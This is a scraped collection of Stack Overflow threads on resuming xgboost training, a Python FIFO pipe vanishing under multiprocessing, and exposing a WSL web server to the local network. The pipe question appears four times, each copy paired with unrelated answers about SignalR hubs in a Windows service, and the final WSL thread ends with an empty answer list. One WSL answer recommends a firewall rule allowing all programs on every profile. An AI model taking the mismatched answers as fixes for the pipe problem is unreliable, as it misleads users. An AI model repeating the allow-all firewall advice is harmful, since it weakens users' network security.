I read that it is one of the advantages of xgboost, that you can train on an existing model. Say I trained my model for 100 iterations, and want to restart from there to finish another 100 iterations, instead of redoing everything from the scratch.. I found this in xgboost demo examples, from here <https://github.com/dmlc/xgboost/blob/master/demo/guide-python/evals_result.py> ``` bst = xgb.train( param, dtrain, 1, watchlist ) ptrain = bst.predict(dtrain, output_margin=True) ptest = bst.predict(dtest, output_margin=True) dtrain.set_base_margin(ptrain) dtest.set_base_margin(ptest) print ('this is result of running from initial prediction') bst = xgb.train( param, dtrain, 1, watchlist ) ``` but this particular example is for objective, binary:logistic.. if I do this, I'm getting this error on `set_base_margin` ``` TypeError: only length-1 arrays can be converted to Python scalars ``` I have a model that got trained for 100 iterations.. I want to do another 100 iterations, but don't want to begin from the start again. Any help..??
2016/12/08
[ "https://Stackoverflow.com/questions/41042599", "https://Stackoverflow.com", "https://Stackoverflow.com/users/544102/" ]
figured it out, from this issue in xgboost repo <https://github.com/dmlc/xgboost/issues/235> > > Yes, this is something we overlooked when designing the interface, you should be able to set\_margin with flattened array. > > > `set_base_margin` expects a 1d array, so you just need to flatten the margined predictions and then pass it to `set_base_margin` in the above code add these lines before setting the base margin ``` ptrain = ptrain.reshape(-1, 1) ptest = ptest.reshape(-1, 1) ``` and training on the new `dtrain` with updated base margins will continue iterating from that stage
Things have changed now.... ``` bst = xgb.train(param, dtrain, 1, watchlist , xgb_model=bst ) ```
21,613,906
I've got a python script that writes some data to a pipe when called: ``` def send_to_pipe(s): send = '/var/tmp/mypipe.pipe' sp = open(send, 'w') sp.write(json.dumps(s)) sp.close() if __name__ == "__main__": name = sys.argv[1] command = sys.argv[2] s = {"name":name, "command":command} send_to_pipe(s) ``` Then I have this file that keeps the pipe open indefinitely and reads data in every time the above script is called: ``` def watch_pipe(): receive = '/var/tmp/mypipe.pipe' os.mkfifo(receive) rp = os.open(receive, os.O_RDWR | os.O_NONBLOCK) p = select.poll() p.register(rp, select.POLLIN) while True: try: if p.poll()[0][1] == select.POLLIN: data = os.read(rp,512) # Do some stuff with the data except: os.close(rp) os.unlink(receive) if __name__ == "__main__": t = Thread(target=watch_pipe) t.start() # Do some other stuff that goes on indefinitely ``` This code works perfectly when I use threads. The pipe stays open, the first file writes to the pipe, and the stuff gets done. The problem is I can't stop the thread when I want to close the program. So I switched from Thread to Process: ``` p = Process(target=watch_pipe) p.start() ``` But with a process instead of a thread, when I run the writer script, `open(send, 'w')` deletes the pipe as if it were a file I wanted to overwrite. Why is this? The permissions and ownership of the file is the same in both cases, and the writer script does not change. The only thing that changed was replacing a Thread object with an analogous Process object. **EDIT:** After changing the open to use 'a' instead of 'w', the pipe still disappears when using a process.
2014/02/06
[ "https://Stackoverflow.com/questions/21613906", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3272993/" ]
I think I don't understand exactly what you want. * Option A: \*\* Signal R. Server: Hosted as a Windows Service \*\* Signal R. Client: ASP.NET MVC Application. * Option B \*\* Signal R. Server: ASP.NET MVC Application. \*\* Signal R. Client: Windows Service If what you need is Option A. You might want to take a look at "[Signal R Self-Host Tutorial](http://www.asp.net/signalr/overview/signalr-20/getting-started-with-signalr-20/tutorial-signalr-20-self-host)" If what you need is Option B. You need to create a .Net Signal R Client in the Windows Service. Please check out [this tutorial](http://www.asp.net/signalr/overview/signalr-20/hubs-api/hubs-api-guide-net-client) on how to do so. Regardless of your hosting type each hub has a unique name which you need to use when establishing the connection. Regarding: > > I'll have that in my Windows Server but if I send text to > <http://myserver.com/signalr> on the server, how do I get it? What hub? > > > Signal R is an abstraction of realtime dual channel communication, so it really depends on the setup of your Hub. Regarding: > > Also where best to put this in the Windows service? An example would > be great! > > > I would say, go simple and start by declaring a [Singleton](http://msdn.microsoft.com/en-us/library/ff650316.aspx) to start. Hope it helps.
This tutorial may help, and it also includes some sample code: <http://www.asp.net/signalr/overview/signalr-20/getting-started-with-signalr-20/tutorial-getting-started-with-signalr-20>
21,613,906
I've got a python script that writes some data to a pipe when called: ``` def send_to_pipe(s): send = '/var/tmp/mypipe.pipe' sp = open(send, 'w') sp.write(json.dumps(s)) sp.close() if __name__ == "__main__": name = sys.argv[1] command = sys.argv[2] s = {"name":name, "command":command} send_to_pipe(s) ``` Then I have this file that keeps the pipe open indefinitely and reads data in every time the above script is called: ``` def watch_pipe(): receive = '/var/tmp/mypipe.pipe' os.mkfifo(receive) rp = os.open(receive, os.O_RDWR | os.O_NONBLOCK) p = select.poll() p.register(rp, select.POLLIN) while True: try: if p.poll()[0][1] == select.POLLIN: data = os.read(rp,512) # Do some stuff with the data except: os.close(rp) os.unlink(receive) if __name__ == "__main__": t = Thread(target=watch_pipe) t.start() # Do some other stuff that goes on indefinitely ``` This code works perfectly when I use threads. The pipe stays open, the first file writes to the pipe, and the stuff gets done. The problem is I can't stop the thread when I want to close the program. So I switched from Thread to Process: ``` p = Process(target=watch_pipe) p.start() ``` But with a process instead of a thread, when I run the writer script, `open(send, 'w')` deletes the pipe as if it were a file I wanted to overwrite. Why is this? The permissions and ownership of the file is the same in both cases, and the writer script does not change. The only thing that changed was replacing a Thread object with an analogous Process object. **EDIT:** After changing the open to use 'a' instead of 'w', the pipe still disappears when using a process.
2014/02/06
[ "https://Stackoverflow.com/questions/21613906", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3272993/" ]
Lets say you have the following code. ``` var _connection = new HubConnection("http://localhost:61194/signalr"); var _myHub = _connection.CreateHubProxy("MyHub"); ``` You can create as many proxies that you have in the server. Then you can invoke the server method in following ways. ``` _myHub.On<string>("recieved", data => { System.Diagnostics.Debug.WriteLine("DATA : " + data); }); _connection.Start().Wait(); _myHub.Invoke("Hello").Wait(); ``` You can put these code in the Windows Service method call which gets invoked from the timer or in the method which gets fired as per schedule.
This tutorial may help, and it also includes some sample code: <http://www.asp.net/signalr/overview/signalr-20/getting-started-with-signalr-20/tutorial-getting-started-with-signalr-20>
21,613,906
I've got a python script that writes some data to a pipe when called: ``` def send_to_pipe(s): send = '/var/tmp/mypipe.pipe' sp = open(send, 'w') sp.write(json.dumps(s)) sp.close() if __name__ == "__main__": name = sys.argv[1] command = sys.argv[2] s = {"name":name, "command":command} send_to_pipe(s) ``` Then I have this file that keeps the pipe open indefinitely and reads data in every time the above script is called: ``` def watch_pipe(): receive = '/var/tmp/mypipe.pipe' os.mkfifo(receive) rp = os.open(receive, os.O_RDWR | os.O_NONBLOCK) p = select.poll() p.register(rp, select.POLLIN) while True: try: if p.poll()[0][1] == select.POLLIN: data = os.read(rp,512) # Do some stuff with the data except: os.close(rp) os.unlink(receive) if __name__ == "__main__": t = Thread(target=watch_pipe) t.start() # Do some other stuff that goes on indefinitely ``` This code works perfectly when I use threads. The pipe stays open, the first file writes to the pipe, and the stuff gets done. The problem is I can't stop the thread when I want to close the program. So I switched from Thread to Process: ``` p = Process(target=watch_pipe) p.start() ``` But with a process instead of a thread, when I run the writer script, `open(send, 'w')` deletes the pipe as if it were a file I wanted to overwrite. Why is this? The permissions and ownership of the file is the same in both cases, and the writer script does not change. The only thing that changed was replacing a Thread object with an analogous Process object. **EDIT:** After changing the open to use 'a' instead of 'w', the pipe still disappears when using a process.
2014/02/06
[ "https://Stackoverflow.com/questions/21613906", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3272993/" ]
This solves the problem On the client (Windows Service): ``` protected override async void OnStart(string[] args) { eventLog1.WriteEntry("In OnStart"); try { var hubConnection = new HubConnection("http://www.savitassa.com/signalr", useDefaultUrl: false); IHubProxy alphaProxy = hubConnection.CreateHubProxy("AlphaHub"); await hubConnection.Start(); await alphaProxy.Invoke("Hello", "Message from Service"); } catch (Exception ex) { eventLog1.WriteEntry(ex.Message); } } ``` On the server: ``` public class AlphaHub : Hub { public void Hello(string message) { // We got the string from the Windows Service // using SignalR. Now need to send to the clients Clients.All.addNewMessageToPage(message); // Send message to Windows Service } ```
This tutorial may help, and it also includes some sample code: <http://www.asp.net/signalr/overview/signalr-20/getting-started-with-signalr-20/tutorial-getting-started-with-signalr-20>
21,613,906
I've got a python script that writes some data to a pipe when called: ``` def send_to_pipe(s): send = '/var/tmp/mypipe.pipe' sp = open(send, 'w') sp.write(json.dumps(s)) sp.close() if __name__ == "__main__": name = sys.argv[1] command = sys.argv[2] s = {"name":name, "command":command} send_to_pipe(s) ``` Then I have this file that keeps the pipe open indefinitely and reads data in every time the above script is called: ``` def watch_pipe(): receive = '/var/tmp/mypipe.pipe' os.mkfifo(receive) rp = os.open(receive, os.O_RDWR | os.O_NONBLOCK) p = select.poll() p.register(rp, select.POLLIN) while True: try: if p.poll()[0][1] == select.POLLIN: data = os.read(rp,512) # Do some stuff with the data except: os.close(rp) os.unlink(receive) if __name__ == "__main__": t = Thread(target=watch_pipe) t.start() # Do some other stuff that goes on indefinitely ``` This code works perfectly when I use threads. The pipe stays open, the first file writes to the pipe, and the stuff gets done. The problem is I can't stop the thread when I want to close the program. So I switched from Thread to Process: ``` p = Process(target=watch_pipe) p.start() ``` But with a process instead of a thread, when I run the writer script, `open(send, 'w')` deletes the pipe as if it were a file I wanted to overwrite. Why is this? The permissions and ownership of the file is the same in both cases, and the writer script does not change. The only thing that changed was replacing a Thread object with an analogous Process object. **EDIT:** After changing the open to use 'a' instead of 'w', the pipe still disappears when using a process.
2014/02/06
[ "https://Stackoverflow.com/questions/21613906", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3272993/" ]
This solves the problem On the client (Windows Service): ``` protected override async void OnStart(string[] args) { eventLog1.WriteEntry("In OnStart"); try { var hubConnection = new HubConnection("http://www.savitassa.com/signalr", useDefaultUrl: false); IHubProxy alphaProxy = hubConnection.CreateHubProxy("AlphaHub"); await hubConnection.Start(); await alphaProxy.Invoke("Hello", "Message from Service"); } catch (Exception ex) { eventLog1.WriteEntry(ex.Message); } } ``` On the server: ``` public class AlphaHub : Hub { public void Hello(string message) { // We got the string from the Windows Service // using SignalR. Now need to send to the clients Clients.All.addNewMessageToPage(message); // Send message to Windows Service } ```
I think I don't understand exactly what you want. * Option A: \*\* Signal R. Server: Hosted as a Windows Service \*\* Signal R. Client: ASP.NET MVC Application. * Option B \*\* Signal R. Server: ASP.NET MVC Application. \*\* Signal R. Client: Windows Service If what you need is Option A. You might want to take a look at "[Signal R Self-Host Tutorial](http://www.asp.net/signalr/overview/signalr-20/getting-started-with-signalr-20/tutorial-signalr-20-self-host)" If what you need is Option B. You need to create a .Net Signal R Client in the Windows Service. Please check out [this tutorial](http://www.asp.net/signalr/overview/signalr-20/hubs-api/hubs-api-guide-net-client) on how to do so. Regardless of your hosting type each hub has a unique name which you need to use when establishing the connection. Regarding: > > I'll have that in my Windows Server but if I send text to > <http://myserver.com/signalr> on the server, how do I get it? What hub? > > > Signal R is an abstraction of realtime dual channel communication, so it really depends on the setup of your Hub. Regarding: > > Also where best to put this in the Windows service? An example would > be great! > > > I would say, go simple and start by declaring a [Singleton](http://msdn.microsoft.com/en-us/library/ff650316.aspx) to start. Hope it helps.
21,613,906
I've got a python script that writes some data to a pipe when called: ``` def send_to_pipe(s): send = '/var/tmp/mypipe.pipe' sp = open(send, 'w') sp.write(json.dumps(s)) sp.close() if __name__ == "__main__": name = sys.argv[1] command = sys.argv[2] s = {"name":name, "command":command} send_to_pipe(s) ``` Then I have this file that keeps the pipe open indefinitely and reads data in every time the above script is called: ``` def watch_pipe(): receive = '/var/tmp/mypipe.pipe' os.mkfifo(receive) rp = os.open(receive, os.O_RDWR | os.O_NONBLOCK) p = select.poll() p.register(rp, select.POLLIN) while True: try: if p.poll()[0][1] == select.POLLIN: data = os.read(rp,512) # Do some stuff with the data except: os.close(rp) os.unlink(receive) if __name__ == "__main__": t = Thread(target=watch_pipe) t.start() # Do some other stuff that goes on indefinitely ``` This code works perfectly when I use threads. The pipe stays open, the first file writes to the pipe, and the stuff gets done. The problem is I can't stop the thread when I want to close the program. So I switched from Thread to Process: ``` p = Process(target=watch_pipe) p.start() ``` But with a process instead of a thread, when I run the writer script, `open(send, 'w')` deletes the pipe as if it were a file I wanted to overwrite. Why is this? The permissions and ownership of the file is the same in both cases, and the writer script does not change. The only thing that changed was replacing a Thread object with an analogous Process object. **EDIT:** After changing the open to use 'a' instead of 'w', the pipe still disappears when using a process.
2014/02/06
[ "https://Stackoverflow.com/questions/21613906", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3272993/" ]
This solves the problem On the client (Windows Service): ``` protected override async void OnStart(string[] args) { eventLog1.WriteEntry("In OnStart"); try { var hubConnection = new HubConnection("http://www.savitassa.com/signalr", useDefaultUrl: false); IHubProxy alphaProxy = hubConnection.CreateHubProxy("AlphaHub"); await hubConnection.Start(); await alphaProxy.Invoke("Hello", "Message from Service"); } catch (Exception ex) { eventLog1.WriteEntry(ex.Message); } } ``` On the server: ``` public class AlphaHub : Hub { public void Hello(string message) { // We got the string from the Windows Service // using SignalR. Now need to send to the clients Clients.All.addNewMessageToPage(message); // Send message to Windows Service } ```
Lets say you have the following code. ``` var _connection = new HubConnection("http://localhost:61194/signalr"); var _myHub = _connection.CreateHubProxy("MyHub"); ``` You can create as many proxies that you have in the server. Then you can invoke the server method in following ways. ``` _myHub.On<string>("recieved", data => { System.Diagnostics.Debug.WriteLine("DATA : " + data); }); _connection.Start().Wait(); _myHub.Invoke("Hello").Wait(); ``` You can put these code in the Windows Service method call which gets invoked from the timer or in the method which gets fired as per schedule.
49,835,559
After installing Ubuntu as WSL(Windows Subsystem for Linux) I've run: ``` root@teclast:~# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... ``` and try to access to this web server from my windows machine `http://0.0.0.0:8000` or `http://192.168.1.178:8000` but no success, web server available only by the address `http://127.0.0.1:8000` or `http://localhost:8000` it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside?
2018/04/14
[ "https://Stackoverflow.com/questions/49835559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441863/" ]
Please follow the steps mentioned in the [link](https://www.nextofwindows.com/allow-server-running-inside-wsl-to-be-accessible-outside-windows-10-host) shared by @erazerbrecht and run your HTTP server by providing your ip address (instead of using localhost) and port number. example: ``` Serving HTTP on 192.168.1.178 port 8000 (http://192.168.1.178 :8000/) ... ``` Otherwise you can also do this instead of following the [link](https://www.nextofwindows.com/allow-server-running-inside-wsl-to-be-accessible-outside-windows-10-host): 1. Goto Windows defender firewall -> `Advanced settings` from the left menu 2. Select `inbound` 3. Create `new rule`; next 4. Select `Program` as a rule type; next 5. Select `All Program`; next 6. Select `allow the connection`; next 7. Check all 3 (Domain, Private, Public); next 8. Provide rule a name 9. Finish 10. Your are good to go
I followed [the answer by @toran-sahu](https://stackoverflow.com/a/51998308/8917310) about adding an inbound rule to Windows Defender Firewall but recently (after adding a 2nd wsl2 instance) it stopped working again. I came across [this issue thread](https://github.com/microsoft/WSL/issues/4204) and running the following in cmd prompt got it working again for me. ``` wsl --shutdown ``` update: it seems this issue comes from having Fast Startup enabled <https://stackoverflow.com/a/66793101/8917310>
49,835,559
After installing Ubuntu as WSL(Windows Subsystem for Linux) I've run: ``` root@teclast:~# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... ``` and try to access to this web server from my windows machine `http://0.0.0.0:8000` or `http://192.168.1.178:8000` but no success, web server available only by the address `http://127.0.0.1:8000` or `http://localhost:8000` it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside?
2018/04/14
[ "https://Stackoverflow.com/questions/49835559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441863/" ]
Please follow the steps mentioned in the [link](https://www.nextofwindows.com/allow-server-running-inside-wsl-to-be-accessible-outside-windows-10-host) shared by @erazerbrecht and run your HTTP server by providing your ip address (instead of using localhost) and port number. example: ``` Serving HTTP on 192.168.1.178 port 8000 (http://192.168.1.178 :8000/) ... ``` Otherwise you can also do this instead of following the [link](https://www.nextofwindows.com/allow-server-running-inside-wsl-to-be-accessible-outside-windows-10-host): 1. Goto Windows defender firewall -> `Advanced settings` from the left menu 2. Select `inbound` 3. Create `new rule`; next 4. Select `Program` as a rule type; next 5. Select `All Program`; next 6. Select `allow the connection`; next 7. Check all 3 (Domain, Private, Public); next 8. Provide rule a name 9. Finish 10. Your are good to go
Similar to @countach 's answer: If using Ubuntu type `ip address` in the WSL terminal. Look for the entry that says `#: eth0 ...` where `#` is some small number. There is an ip address there. Use that.
49,835,559
After installing Ubuntu as WSL(Windows Subsystem for Linux) I've run: ``` root@teclast:~# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... ``` and try to access to this web server from my windows machine `http://0.0.0.0:8000` or `http://192.168.1.178:8000` but no success, web server available only by the address `http://127.0.0.1:8000` or `http://localhost:8000` it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside?
2018/04/14
[ "https://Stackoverflow.com/questions/49835559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441863/" ]
In your VM, execute ifconfig You will see your IP in the first section (eth0:) inet x.x.x.x This x.x.x.x is the IP you have to put in your browser.
**Avoid using firewall rules used in some answers on the web, I saw some of them create some kind of allow-all firewall rule (allow any terrafic from any ip and any port), this can cause security problems** Simply use this single line from [this answer](https://stackoverflow.com/a/70566842/11190169) which worked perfectly for me (just creates a port proxy): ``` netsh interface portproxy add v4tov4 listenport=<windows_port> listenaddress=0.0.0.0 connectport=<wsl_port> connectaddress=<WSL_IP> ``` where `<WSL_IP>` is the ip of wsl, you can get it by running `ifconfig` on wsl. Also `<windows_port>` is the port windows will listen on and `<wsl_port>` is the port server is running on WSL. You can list current port proxies using: `netsh interface portproxy show all`
49,835,559
After installing Ubuntu as WSL(Windows Subsystem for Linux) I've run: ``` root@teclast:~# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... ``` and try to access to this web server from my windows machine `http://0.0.0.0:8000` or `http://192.168.1.178:8000` but no success, web server available only by the address `http://127.0.0.1:8000` or `http://localhost:8000` it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside?
2018/04/14
[ "https://Stackoverflow.com/questions/49835559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441863/" ]
None of the existing answers work for me, as WSL2 is running in its own VM and has its own network adapter. You need some sort of bridge or port forwarding for non-localhost requests to work (i.e. from another host on the same network). I found a script in <https://github.com/microsoft/WSL/issues/4150> that worked to resolve the issue: ``` $remoteport = bash.exe -c "ifconfig eth0 | grep 'inet '" $found = $remoteport -match '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'; if( $found ){ $remoteport = $matches[0]; } else{ echo "The Script Exited, the ip address of WSL 2 cannot be found"; exit; } #[Ports] #All the ports you want to forward separated by coma $ports=@(80,443,10000,3000,5000); #[Static ip] #You can change the addr to your ip config to listen to a specific address $addr='0.0.0.0'; $ports_a = $ports -join ","; #Remove Firewall Exception Rules iex "Remove-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' "; #adding Exception Rules for inbound and outbound Rules iex "New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Outbound -LocalPort $ports_a -Action Allow -Protocol TCP"; iex "New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Inbound -LocalPort $ports_a -Action Allow -Protocol TCP"; for( $i = 0; $i -lt $ports.length; $i++ ){ $port = $ports[$i]; iex "netsh interface portproxy delete v4tov4 listenport=$port listenaddress=$addr"; iex "netsh interface portproxy add v4tov4 listenport=$port listenaddress=$addr connectport=$port connectaddress=$remoteport"; } ``` Running this script from an elevated/admin Powershell session did the trick for me. This allows accessing the WSL2 service running on a port to be accessible from the Windows host IP at that same port.
> > it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside? > > > It should be noted, among all the answers here, that this question was originally for WSL1 (given when it was asked) and was [self-answered](https://stackoverflow.com/a/60465289/11810933) by the OP as having been a WSL or Windows issue that was resolved by a Windows update. Ironically, this is a *known* issue on WSL2 (see footnote), so years later, people started finding it (and answering it) in that context. There are *multiple* solutions for this on WSL2, but with no disrespect to the other answerers here, they have all missed the two easiest ones: * ***WSL1***: First, just use WSL1. For *most* (but not all) web development tasks where you need to access your app from another machine on the network, WSL1 will be better at networking and will run your application and tools just fine. WSL2 brings in real, virtualized Linux kernel, but the "fake kernel" (syscall translation layer) of WSL1 still works fine today for most tasks. When running `python3 -m http.server` under WSL1, you'll automatically be able to access it from other machines on the network via the Windows host's IP address (or DNS name). As the OP mentioned in the self-answer, that pesky WSL1 bug has been fixed for years now. --- * ***SSH reverse tunnel*** If you do need to use WSL2, here's an option that doesn't require port forwarding or any advanced firewall rules that need to be updated each time WSL restarts. The problem with those rules is that the IP address for WSL changes every time you restart, meaning those rules have to be deleted and recreated constantly. On the other hand, we can use SSH within WSL2 to connect to Windows, where the name, and perhaps even the IP address, is constant. #### One-time setup: Enable SSH There's some one-time setup for this, but it's useful regardless: First, install/enable Windows OpenSSH server. This is a feature that is built-in to Windows and just needs to be enabled. You'll find the full instructions [here](https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse), but it's typically just a matter of (from an Admin PowerShell): ``` Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 Start-Service sshd Set-Service -Name sshd -StartupType 'Automatic' if (!(Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue | Select-Object Name, Enabled)) { Write-Output "Firewall Rule 'OpenSSH-Server-In-TCP' does not exist, creating it..." New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 } else { Write-Output "Firewall rule 'OpenSSH-Server-In-TCP' has been created and exists." } ``` Edit your `C:\ProgramData\ssh\sshd_config` and set `GatewayPorts yes`. This is what allows us to use SSH as a gateway from other devices on the network. Finally, of course, you'll need a firewall rule in Windows allowing the HTTP(s) (or other) port you'll be using. Example (from Admin PowerShell): ``` New-NetFirewallRule -DisplayName "WSL Python 8000" -LocalPort 8000 -Action Allow -Protocol TCP ``` And restart the OpenSSH Server service: ``` Restart-Service sshd ``` #### Create the tunnel With that in place, it's a simple matter to create the tunnel we need: ``` ssh -R 8000:localhost:8000 NotTheDr01ds@$(hostname).local ``` *Replacing, of course, `NotTheDr01ds` with your own Windows username, if it differs from the WSL username* That's going to use your *Windows* username and password since SSH is running on the Windows side. Once you have ensured that it works, two other recommendations: + Set up key-based authentication so that you don't need to enter a password each time + Change the SSH connection to: ``` ssh -fN -R 8000:localhost:8000 NotTheDr01ds@$(hostname).local ``` That will put the SSH session into the background and not allocate a terminal for it.
49,835,559
After installing Ubuntu as WSL(Windows Subsystem for Linux) I've run: ``` root@teclast:~# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... ``` and try to access to this web server from my windows machine `http://0.0.0.0:8000` or `http://192.168.1.178:8000` but no success, web server available only by the address `http://127.0.0.1:8000` or `http://localhost:8000` it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside?
2018/04/14
[ "https://Stackoverflow.com/questions/49835559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441863/" ]
In your VM, execute ifconfig You will see your IP in the first section (eth0:) inet x.x.x.x This x.x.x.x is the IP you have to put in your browser.
Similar to @countach 's answer: If using Ubuntu type `ip address` in the WSL terminal. Look for the entry that says `#: eth0 ...` where `#` is some small number. There is an ip address there. Use that.
49,835,559
After installing Ubuntu as WSL(Windows Subsystem for Linux) I've run: ``` root@teclast:~# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... ``` and try to access to this web server from my windows machine `http://0.0.0.0:8000` or `http://192.168.1.178:8000` but no success, web server available only by the address `http://127.0.0.1:8000` or `http://localhost:8000` it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside?
2018/04/14
[ "https://Stackoverflow.com/questions/49835559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441863/" ]
> > it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside? > > > It should be noted, among all the answers here, that this question was originally for WSL1 (given when it was asked) and was [self-answered](https://stackoverflow.com/a/60465289/11810933) by the OP as having been a WSL or Windows issue that was resolved by a Windows update. Ironically, this is a *known* issue on WSL2 (see footnote), so years later, people started finding it (and answering it) in that context. There are *multiple* solutions for this on WSL2, but with no disrespect to the other answerers here, they have all missed the two easiest ones: * ***WSL1***: First, just use WSL1. For *most* (but not all) web development tasks where you need to access your app from another machine on the network, WSL1 will be better at networking and will run your application and tools just fine. WSL2 brings in real, virtualized Linux kernel, but the "fake kernel" (syscall translation layer) of WSL1 still works fine today for most tasks. When running `python3 -m http.server` under WSL1, you'll automatically be able to access it from other machines on the network via the Windows host's IP address (or DNS name). As the OP mentioned in the self-answer, that pesky WSL1 bug has been fixed for years now. --- * ***SSH reverse tunnel*** If you do need to use WSL2, here's an option that doesn't require port forwarding or any advanced firewall rules that need to be updated each time WSL restarts. The problem with those rules is that the IP address for WSL changes every time you restart, meaning those rules have to be deleted and recreated constantly. On the other hand, we can use SSH within WSL2 to connect to Windows, where the name, and perhaps even the IP address, is constant. #### One-time setup: Enable SSH There's some one-time setup for this, but it's useful regardless: First, install/enable Windows OpenSSH server. This is a feature that is built-in to Windows and just needs to be enabled. You'll find the full instructions [here](https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse), but it's typically just a matter of (from an Admin PowerShell): ``` Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 Start-Service sshd Set-Service -Name sshd -StartupType 'Automatic' if (!(Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue | Select-Object Name, Enabled)) { Write-Output "Firewall Rule 'OpenSSH-Server-In-TCP' does not exist, creating it..." New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 } else { Write-Output "Firewall rule 'OpenSSH-Server-In-TCP' has been created and exists." } ``` Edit your `C:\ProgramData\ssh\sshd_config` and set `GatewayPorts yes`. This is what allows us to use SSH as a gateway from other devices on the network. Finally, of course, you'll need a firewall rule in Windows allowing the HTTP(s) (or other) port you'll be using. Example (from Admin PowerShell): ``` New-NetFirewallRule -DisplayName "WSL Python 8000" -LocalPort 8000 -Action Allow -Protocol TCP ``` And restart the OpenSSH Server service: ``` Restart-Service sshd ``` #### Create the tunnel With that in place, it's a simple matter to create the tunnel we need: ``` ssh -R 8000:localhost:8000 NotTheDr01ds@$(hostname).local ``` *Replacing, of course, `NotTheDr01ds` with your own Windows username, if it differs from the WSL username* That's going to use your *Windows* username and password since SSH is running on the Windows side. Once you have ensured that it works, two other recommendations: + Set up key-based authentication so that you don't need to enter a password each time + Change the SSH connection to: ``` ssh -fN -R 8000:localhost:8000 NotTheDr01ds@$(hostname).local ``` That will put the SSH session into the background and not allocate a terminal for it.
I've tested on **Update for Microsoft Windows(KB4532132)** with reinstalled WSL and it works as expected. Seems the issue was related to old windows version or old WSL version.
49,835,559
After installing Ubuntu as WSL(Windows Subsystem for Linux) I've run: ``` root@teclast:~# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... ``` and try to access to this web server from my windows machine `http://0.0.0.0:8000` or `http://192.168.1.178:8000` but no success, web server available only by the address `http://127.0.0.1:8000` or `http://localhost:8000` it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside?
2018/04/14
[ "https://Stackoverflow.com/questions/49835559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441863/" ]
Please follow the steps mentioned in the [link](https://www.nextofwindows.com/allow-server-running-inside-wsl-to-be-accessible-outside-windows-10-host) shared by @erazerbrecht and run your HTTP server by providing your ip address (instead of using localhost) and port number. example: ``` Serving HTTP on 192.168.1.178 port 8000 (http://192.168.1.178 :8000/) ... ``` Otherwise you can also do this instead of following the [link](https://www.nextofwindows.com/allow-server-running-inside-wsl-to-be-accessible-outside-windows-10-host): 1. Goto Windows defender firewall -> `Advanced settings` from the left menu 2. Select `inbound` 3. Create `new rule`; next 4. Select `Program` as a rule type; next 5. Select `All Program`; next 6. Select `allow the connection`; next 7. Check all 3 (Domain, Private, Public); next 8. Provide rule a name 9. Finish 10. Your are good to go
**Avoid using firewall rules used in some answers on the web, I saw some of them create some kind of allow-all firewall rule (allow any terrafic from any ip and any port), this can cause security problems** Simply use this single line from [this answer](https://stackoverflow.com/a/70566842/11190169) which worked perfectly for me (just creates a port proxy): ``` netsh interface portproxy add v4tov4 listenport=<windows_port> listenaddress=0.0.0.0 connectport=<wsl_port> connectaddress=<WSL_IP> ``` where `<WSL_IP>` is the ip of wsl, you can get it by running `ifconfig` on wsl. Also `<windows_port>` is the port windows will listen on and `<wsl_port>` is the port server is running on WSL. You can list current port proxies using: `netsh interface portproxy show all`
49,835,559
After installing Ubuntu as WSL(Windows Subsystem for Linux) I've run: ``` root@teclast:~# python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 ... ``` and try to access to this web server from my windows machine `http://0.0.0.0:8000` or `http://192.168.1.178:8000` but no success, web server available only by the address `http://127.0.0.1:8000` or `http://localhost:8000` it means that I can't connect to this web server from another pc in my network. Is it possible to getting an access to WSL from outside?
2018/04/14
[ "https://Stackoverflow.com/questions/49835559", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1441863/" ]
